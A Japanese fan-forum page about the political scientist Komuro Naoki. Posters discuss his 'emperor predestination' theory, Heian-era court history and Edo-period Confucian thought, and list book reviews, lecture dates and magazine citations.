掲載日:01/12/16
概 要:目からウロコの1冊--------------------------------------------------------------------------------
書籍名:数学嫌いな人のための数学――数学原論(すうがくぎらいなひとのためのすうがく)
訳 者:-(-)
版 元:東洋経済新報社(とうようけいざいしんぽうしゃ)
価 格:1600円
評 者:吉永良正(よしながよしまさ)
掲載誌:産経新聞
掲載日:02/1/6
概 要:論理的な思考力の養成を最重要視
http://www3.asahi.com/opendoors/span/ronza/net/index.html
小山さん、こんにちは、とても丁寧に詳しく書いてくださってありがとうございます。
おッ!! u-tokyo !? おみそれ致しましたッ!!(一礼ッ!!本を引っ張り出すのがしんどい&自分でうまく言葉に出来ない、しかし潜在的に思っていたことを代わりに出して頂いた感じですッ!!
ワタシ、小室本は粗方持っておりますが、「天皇」の原理、は、小室本の中で一番好きなのです。
ちなみにワタシは小室先生には、「自分にないものに憧れる」と言う感覚ではなく、「自分と同じモノを感る」と言う接し方です。そのうち腹掻っ捌いて果てるかもしれません。
いや、どこかに特攻するかも・・・。(ヤバこれが、2年間毎日小室本を10時間読んで思った答えです。
私は、狂気を極めるために生きています。
とにかく、気合の入った父兄を見て、子弟はビシッとするもんだと思います。
子弟は無関心な振りしてなんだかんだで見てますからねー、ハイ。
というか、ワタシも見てます、皆さんを。(ヨロスク
こんにちは、小山 みつね です。私の投稿 [3007]天皇の原理 に 補足をします。
待賢門院璋子(たいけんもんいん たまこ)について。
下の投稿で(たんけんもんいん しょうし)と、私が書いたのは、誤りでした。申し訳ありません。
(転載)
http://homepage1.nifty.com/heiankyo/tai.html待賢門院璋子(たいけんもんいん たまこ 注記)をたずねて
先日、法金剛院と待賢門院璋子の御陵をたずねました。法金剛院では桜花が盛りを過ぎ、花びらが園池に浮かび、青女の滝の水は枯れていましたが花びらがまるで滝の水のようで、目を楽しませてくれました。
●待賢門院璋子(1101〜1145)
鳥羽天皇の中宮。崇徳天皇・後白河天皇の母。
御園女御の猶子となりましたが、のち白河法皇の猶子となり、院御所で育てられました。白河法皇に寵愛されますが、法皇の孫の鳥羽天皇の後宮に入り、皇后の宣旨を受けます。入内以降も白河法皇との関係は続き、第1皇子(崇徳天皇)は法皇の子であり、鳥羽天皇は「叔父子」と呼んで冷遇し、それが保元の乱の遠因ともなりました。http://homepage1.nifty.com/heiankyo/tai.html
(終了)「保建大記」(ほうけんたいき)からの引用。
(引用)
(栗山潜鋒(くりやま せんぽう)著「保建大記」(ほうけんたいき)日本思想体系「近世史論集」P.364 岩波書店 収録)白河帝、色好みて最も淫らなり。待賢門院璋子は鳥羽帝の女御にして、崇徳帝の母なり。白河帝、璋子を鍾愛し、其の間、詩の所謂、道(い 注記)ふ可からざる者有り。鳥羽帝も亦、崇徳は己が子に非ざることを知れり。故に鳥羽の崇徳に不慈なるは、婦言に之れ聴くに由ると雖も、白河の倫を乱ること、実に由りて基づく所なり。
(栗山潜鋒(くりやま せんぽう)著「保建大記」(ほうけんたいき)日本思想体系「近世史論集」P.364 岩波書店 収録)
(終了)小室直樹「天皇の原理」から引用。
(引用)
(小室直樹著「天皇の原理」P.314 P.315文芸春秋)徳川時代における儒学の発達過程の結果として、湯武放伐論の否定はなし得たのか。いかにして、崎門の学者は、朱子学の精緻なる論理を破り得たのであったか。
はじめにそれは、天皇(上皇)の非倫理性を徹底的に追求することによってであった。(中略)
丸山真男の言う、「反対方向性を内包したバランスは毛筋ほどの差で崩れる」からである。
天皇の非倫理性が徹底していればいるほど、それと共存する反対方向性によって、天皇は絶対の高みへのぼってゆくのである。予定説の論理によって。(小室直樹著「天皇の原理」P.314 P.315 文芸春秋)
(終了)以上。御無礼。
皆さん、こんにちは、小山 みつね (1822)です。>天皇がなにかやったからえらいとかえらくないとか、それは因果律ですね。小室先生にとっては、天皇だからえらいんだということでしょうね。つまり予定説。
この問題を考へるためには、少し、日本史の復習をする必要があります。少しですので、お付き合ひください。お願ひします。
質問:日本の歴史において、もつとも性規範が乱れたのは、いつの時代ですか?
答:院政時代。
質問:その時代、性規範の乱れが、特にひどかつた階級は、どの階級ですか?
答:貴族階級。とくに、天皇家。
栗山潜鋒(くりやま せんぽう)は、その著書「保建大記」に、白河法皇と法皇の孫(=鳥羽天皇)の中宮 待賢門院璋子(たんけんもんいん しょうし)との間に「いふべからざる」ことがあつて、鳥羽帝が崇徳帝のことを「おのが子にあらざることを知れり」と、書いてゐます。(今、手元に資料が無いので、正確な引用は出来ません。あしからず。)
といふわけで、因果律(ここでは、儒教流か西洋流の性規範)をとると、天皇家を守りきることが出来なくなるわけです。ですから、天皇家を守りきるためには、予定説を採る必要がでてくるわけです。>小室 宮台君、天皇はすごいと思いませんか??
>宮台 思いません。
>小室 残念。君はかわいそうですなあ。といふ「天皇予定説」は、かういふ文脈から出てくるわけです。
小室先生は、このことを、「天皇の非倫理性を追求することで、朱子学の論理(=因果律)を破った」( 「天皇の原理」)といふやうな感じで、上品に、表現してゐました。
この「天皇予定説」を補強するために、(人間の基準で)愚かな天皇に忠誠を尽くした人物を英雄にする必要がでてきます。その人物は誰でせう?
答:楠木正成
崎門学の時代は、江戸時代ですので、天皇家は北朝です。ですから、露骨に南朝の楠木正成を持ち上げることは出来ません。そこで上品に楠木正成を持ち上げるために、浅見絅斎(あさみ けいさい)は、その著書「靖献遺言」(せいけん いげん)で、バカな殿様(もしくは、まだ、赤ちゃんの皇帝とか)に、死ぬまで忠誠を尽くした、諸葛孔明(しょかつ こうめい)らを持ち上げることで、間接的に、楠木正成を持ち上げたわけです。
この「天皇予定説」が、明治維新を通じて支配階級に広がり(こちらは、自覚的に)、日清日露戦争の勝利を通じて日本人全体に広がり(こちらは、無自覚的に)、大東亜戦争では、30分の1の戦力でアメリカと3年9ヶ月闘ふ「団結力」を生んだわけです。
この「天皇予定説」は、間違ひなく、「右翼思想」です。しかし、「足利尊氏(=政治的勝者)ではなく、楠木正成(=政治的敗者)を支持せよ!」すなはち、「弱者の味方をせよ!」といふ考へかたでもあるので、なぜか、「左翼思想」と共鳴する部分があります。もちろん、「欧米列強(=足利尊氏)の手先になるな! 弱小国日本に忠誠を尽くせ!(楠木正成のやうに!!)」といふ「愛国思想」ではあるわけですが。
嗚呼、亦(また)奇ならずや!(=なんと奇妙なことではないか!)
以上。御無礼。
2003.2.17先生の第二の故郷会津若松で会津三羽ガラスのもう一人の渡部恒三氏の紹介で講演をされたんですね。いきたかった。
小野寺さん解説ありがとうございます。m(_ _)m>宮台さんが小室先生を真性右翼とよぶとき、こういう意味
>なんですね。なるほどそういうお話しでしたか。
>天皇がなにかやったからえらいとかえらくないとか、それは
>因果律ですね。小室先生にとっては、天皇だからえらいんだ
>ということでしょうね。つまり予定説。この話しは小室先生の本を読んで知っていましたが、予定説というのは先生が言うとおり日本人にとってかなり理解困難だから、先生がしょうがないと言ったというわけですね。理解と言うより教義に近いのでしょうけど。
去年結局やらなくなったと思ったら今年でした。火曜日休めるかどうか!!
日 時: 2003年10月14日(火)18:00〜19:30
会 場: 大阪経済大学70周年記念館フレアホール
講 演 者: 小室 直樹 氏 (政治学者・経済学者)
主 催: 大阪経済大学
>解説して頂けると幸いです。>小室 宮台君、天皇はすごいと思いませんか??
>宮台 思いません。
>小室 残念。君はかわいそうですなあ。このほかのページにもう一箇所関連部分があります。
引用します。
「宮台君、天皇の偉大さがわかりますか」
「わかりません」
「しようがないですな」
これぞ真性右翼。
引用終わり。宮台さんが小室先生を真性右翼とよぶとき、こういう意味なんですね。
天皇がなにかやったからえらいとかえらくないとか、それは因果律ですね。小室先生にとっては、天皇だからえらいんだということでしょうね。つまり予定説。そしてそれはわからない人に説明のしようがないと。だから「かわいそうですね」でおわってしまうし、「しようがない」ことなのです。
宮台さんの文章は難しくてよくわかりませんが、ここのところはこのように解釈しました。
men in blackさんこんにちは。>日本神道の極限、天皇教の復活はまだなのでしょうか…。
このあたりを考えてみようと思うなら「現人神の創作者達」(山本七平著)が個人的にはお勧めです。(釈迦に説法だったらすいません)小室先生の本はエッセンスだけを書かれるので、僕はついつい誤読しがちです。山本七平先生の本は私にとってはかなり難解ですので、何度も読みました。
>つよぽんさん、天皇教が復活するまで、どうか今の伝統仏教
私は伝統仏教徒なのかも知れませんがよくわかっていません。自己認識不足といったところです。そのあたりを知るために「日本教の社会学」を読みたいところです。
>とある会話
>小室 宮台君、天皇はすごいと思いませんか??
>宮台 思いません。
>小室 残念。君はかわいそうな人ですねえ。なんだかおもしろそうな話しなのですが、宮台先生の本は読んだことないので意味がわからりません。解説して頂けると幸いです。
週刊文春 2003年03月06日号 146ページ
宮崎哲弥の新世紀教養講座
国際連合は平和の守り手か?いまこそ国連幻想の打破を
7段落目を引用います。
「小室直樹『世紀末・戦争の構造』(徳間文庫 品切中)の第四章は凄い。その予見力に肌が粟立つ程だ。湾岸戦争におけるフセインの目的は「アラブの現状とアメリカの横暴を白日の下にすることであった。」そして彼は実質的に勝ったのである。ここから「9.11」まで一直線に繋がる。アメリカが何としてもフセインを倒さねばならぬ理由もみえてくる。」週刊文春 2003年05月15日号 134ページ
宮崎哲弥の新世紀教養講座
テロ、戦争、人権の変容!揺らぎのなかの日本国憲法
4段落目の一部引用します。
「憲法はお上を縛る法なのだ。渋谷秀樹『憲法への招待』....宮台真司『憲法対論』....、小室直樹『日本国憲法の問題点』.....は異口同音にここを強調している。」こばやしまさきさんから教えていただいた他の文献は、詳細がわかり次第報告します。